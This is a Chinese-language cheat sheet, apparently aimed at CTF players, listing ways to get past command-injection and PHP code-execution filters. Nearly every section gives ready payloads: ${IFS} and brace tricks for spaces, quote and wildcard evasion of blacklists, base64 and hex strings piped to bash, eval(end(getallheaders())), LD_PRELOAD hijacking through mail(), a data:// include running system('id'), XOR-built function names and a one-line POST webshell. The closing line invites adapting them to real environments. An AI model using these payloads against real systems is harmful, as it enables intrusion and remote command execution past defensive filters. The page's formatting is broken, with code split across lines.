一、空格过滤绕过
- 符号替换
- 使用
${IFS}
、$IFS$9
、$IFS
代替空格,例如cat${IFS}/flag
。 - 重定向符
<
或<>
:cat</flag
。
- 使用
- 编码绕过
- URL编码:
%09
(Tab)、%20
(空格)、%0a
(换行)。 - 十六进制编码:
\x20
。
- URL编码:
- 特殊语法
- 大括号拼接:
{cat,/flag}
等效于cat /flag
。
- 大括号拼接:
二、命令/字符黑名单绕过
- 通配符匹配
?
匹配单个字符:cat fla?
。*
模糊匹配:cat *lag*
。
- 字符串拼接
- 变量拆分:
a=ca;b=t;$a$b /flag
。 - 引号插入:
c""at fl''ag.txt
。
- 变量拆分:
- 反斜杠或特殊符号
- 反斜杠分割:
c\at fl\ag.txt
。 - 使用
$1
占位:ca$1t fl$1ag.txt
。
- 反斜杠分割:
- 环境变量拼接
- 利用
${PATH:start:count}
截取字符,如${PATH:0:1}
获取/
。
- 利用
三、编码绕过
- Base64编码
- 示例:
echo Y2F0IC9mbGFn | base64 -d | bash
执行cat /flag
。 - 内联执行:
$(echo Y2F0IC9mbGFn | base64 -d)
。
- 示例:
- HEX编码
- 使用
xxd -r -p
解码:echo 74657374 | xxd -r -p | bash
。
- 使用
- Shellcode编码
- 十六进制转义:
echo "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67" | bash
。
- 十六进制转义:
四、无参数RCE
- 请求头注入
- 利用
getallheaders()
获取请求头,例如:eval(end(getallheaders())); // 在请求头中插入恶意代码
- 利用
- Session利用
- 修改
session_id()
存储命令,结合hex2bin()
转换后执行。
- 修改
- 目录遍历与文件读取
- 使用
scandir()
、localeconv()
等函数遍历目录:show_source(end(scandir(getcwd())));
- 使用
五、长度限制绕过
- 分块写入文件
- 通过
>
和>>
分步写入命令:echo "cmd1" > f; echo "cmd2" >> f; cat f | bash
- 通过
- 利用
ls -t
排序- 生成按时间排序的命令文件后执行:
> "ag"; > "fl\\"; > "t \\"; ls -t > s; sh s
- 生成按时间排序的命令文件后执行:
六、禁用函数绕过
- 非禁用函数替代
- 使用
pcntl_exec
、mail()
等未被禁用的函数。
- 使用
- LD_PRELOAD劫持
- 编译恶意
.so
文件,通过环境变量加载:putenv("LD_PRELOAD=/path/to/evil.so"); mail("", "", "", ""); // 触发函数调用
- 编译恶意
- 文件包含与伪协议
- 使用
data://
伪协议执行代码:include("data://text/plain,<?php system('id'); ?>");
- 使用
七、其他偷🐔技巧
- 取反/异或运算
- 利用
~
和异或生成字符:$_ = (~"%8F%97%8F") ^ ("@[[@"); // 生成 "system"
- 利用
- 短标签与动态函数
- 使用
<?= \$_POST[cmd]?>
直接执行命令。
- 使用
- PHP特性绕过
- 利用
assert()
、preg_replace()
的/e
修饰符执行代码。
- 利用
以上均为通用简易方法,根据实际环境请自行发挥出你的🧠风暴